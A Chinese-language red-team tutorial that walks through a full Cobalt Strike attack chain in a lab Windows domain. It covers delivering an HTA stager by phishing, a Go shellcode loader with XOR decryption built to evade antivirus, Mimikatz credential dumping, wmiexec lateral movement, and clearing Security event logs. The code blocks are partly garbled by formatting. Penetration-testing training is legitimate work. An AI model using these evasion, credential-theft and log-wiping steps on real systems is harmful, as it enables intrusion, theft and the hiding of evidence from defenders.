0x01 什么是Cobalt Strike以及它的核心原理

Cobalt Strike 是一款备受红队和渗透测试人员青睐的商业级攻击框架，它以其强大的远程控制功能、模块化设计，以及灵活的 C2（Command & Control）架构闻名。在我的红队生涯中，它几乎是每次实战的标配。简单来说，Cobalt Strike 就是一个为攻击者量身定制的多功能攻击平台，它不仅仅是一个工具，更是一个完整的攻击链解决方案。

从原理上看，Cobalt Strike 的核心是Beacon，这是它的远控模块，攻击者通过 Beacon 和目标机器进行通信。Beacon 可以根据需求伪装成各种合法流量（如 HTTPS、DNS 等），从而绕过流量监控。Cobalt Strike 的灵活性在于，它允许用户自定义 Payload 和通信协议，甚至可以通过第三方工具整合以适应复杂环境。

攻击链的基本流程：

  1. 植入初始载荷（Stager/Dropper）。
  2. 建立稳定的 C2 通信。
  3. 使用 Beacon 模块执行命令、提升权限以及横向移动。
  4. 数据窃取与清除痕迹。

接下来，我会带你一步步深入，从环境搭建到 Payload 免杀，从横向移动到清理日志，一起完成一次完整的实战演练。

---

0x02 实战环境搭建：打造最贴近实战的测试场景

在红队行动中，环境对于攻击的成功率有着至关重要的影响。我习惯在测试前搭建一个尽可能接近真实目标环境的实验室，以便测试 Payload 和攻击链的有效性。这次我们会搭建一个小型的 Windows 域环境，模拟企业内网。

1. 必备软件与工具

  • Cobalt Strike 4.x：攻击框架主体。
  • 虚拟化平台：我用 VMware，你也可以用 VirtualBox。
  • 操作系统：
  • Windows Server 2019（域控）；
  • Windows 10（客户端）；
  • Kali Linux（作为攻击机，当然可以替换为其他 Linux 发行版）。
  • 辅助工具：
  • Sysinternals Suite（用于分析和调试）；
  • Mimikatz（经典提权工具）。

2. 环境拓扑

我们会搭建一个简单的 AD（Active Directory）域环境，拓扑结构如下：

  • 攻击机（Kali Linux）：192.168.1.100
  • 域控（Windows Server 2019）：192.168.1.101
  • 域内工作站（Windows 10）：192.168.1.102
  • 网络模式：采用 NAT，所有主机在同一网段。

3. 配置域控

  1. 安装 AD DS 服务并配置域：
  • 域名：redteam.local
  • 安装 DNS 服务并启用动态更新。
  1. 创建测试用户：
  • 用户名：test_user，密码：P@ssw0rd!
  • 用户名：admin_user，密码：Admin@123（分配为域管理员）。

4. 配置客户端

加入域：将 Windows 10 工作站加入 redteam.local 域，测试用户的初始登录权限。

---

0x03 Payload构造的艺术：逃逸防御的第一步

Payload 是红队攻击的核心武器，Cobalt Strike 的优势在于它不仅提供了开箱即用的生成器，还支持高度自定义，尤其是针对 AV/EDR（杀毒软件/终端检测与响应）的免杀处理。

1. 创建基础的 HTTP Beacon

先从一个标准的 HTTP Beacon 开始，看看如何生成和植入初始载荷。下面是操作步骤：

在 Cobalt Strike 中生成一个基础 Stager

  1. 打开 Cobalt Strike。
  2. 配置 Listener（监听器）：
  • 类型：http
  • 绑定地址：192.168.1.100。
  1. 生成初始载荷：

    2. <pre><code> [Cobalt Strike] -&gt; [Attacks] -&gt; [Web Drive-By] -&gt; [HTML Application (HTA)] ` 将生成的 payload.hta 文件保存到本地。

在目标机上执行 HTA 文件

可以通过社工或钓鱼方式，将 HTA 文件诱导目标执行。常用诱导方式包括：

  • 伪装成内部文档或更新程序；
  • 利用水坑攻击在目标常访问的网站挂载 Payload。

监听 Beacon 链接

当目标执行 HTA 文件后，Cobalt Strike 的 Listener 会显示一个新的 Session，表示 Beacon 已成功上线。

---

2. 绕过 AV 的免杀处理

直接使用官方生成的 HTA 文件，十有八九会被终端防护捕获。免杀处理是红队行动中最重要的一环，这里我分享几种方法。

方法一：Shellcode 加密

使用自定义加密的方式对 Shellcode 进行混淆和动态解密。以下是一个简单的 Go 代码示例： </code></pre>go package main

import ( "syscall" "unsafe" )

黑客示意图

func main() { // 加密后的 Shellcode encryptedShellcode := []byte{0x90, 0x90, 0x90, 0x90} // 替换为实际加密后的 Shellcode

黑客示意图

// 解密函数（这里你可以用 XOR 或其他算法） decryptedShellcode := decrypt(encryptedShellcode)

// 动态加载到内存并执行 execShellcode(decryptedShellcode) }

func decrypt(data []byte) []byte { for i := range data { data[i] ^= 0xAA // 简单的 XOR 解密 } return data }

黑客示意图

func execShellcode(shellcode []byte) { var funcAddr = &shellcode[0] syscall.Syscall(uintptr(unsafe.Pointer(funcAddr)), 0, 0, 0, 0) } <pre><code> 将生成的程序打包为 EXE，进一步混淆后送至目标机运行。

方法二：内存加载技术

通过 PowerShell 或 C# 实现内存中的动态加载，避免落地文件。示例代码可参考 PowerShell 的 Invoke-ReflectivePEInjection 模块。

---

0x04 横向移动与权限提升：如何在内网中“游泳”

当我们成功上线一个初始 Beacon 后，接下来就是通过域内横向移动来获取更高权限。

1. 利用 Mimikatz 提取密码 Hash

在上线的目标机器上，使用内置的 Mimikatz 模块提取域控账号的 Hash： </code></pre>powershell mimikatz_command -f sekurlsa::logonpasswords `

提取到的 NTLM Hash 可用于后续的 Pass-the-Hash 攻击。

2. 横向移动技巧：WMI 和 SMB

在目标机器内可以通过以下方式横向移动：

  • WMI 执行：

    • ` wmiexec.py redteam.local/[email protected] `

  • SMB 执行：

    • 使用 Cobalt Strike 的内置 psexec 模块远程执行命令。

---

0x05 最后一步：清除痕迹和总结分享

清除日志和痕迹是每次行动的最后一步。重点是以下内容：

  1. 删除事件日志：
  • 使用 PowerShell 清除：

    • `powershell Clear-EventLog -LogName Security `

  1. 清理残留文件：
  • 删除 Temp 和 Payload 落地路径。

经验总结：

  • 每次行动前，先测试 Payload 的免杀效果；
  • 在内网中，尽量使用“无文件”攻击方法，减少被发现的可能性；
  • Beacon 的通讯应根据场景调整，尽量伪装成合法流量。

---

以上是一次完整的 Cobalt Strike 攻击链实战教程。希望对你有所帮助！记住：所有内容仅限于授权的安全测试，切勿用于非法用途。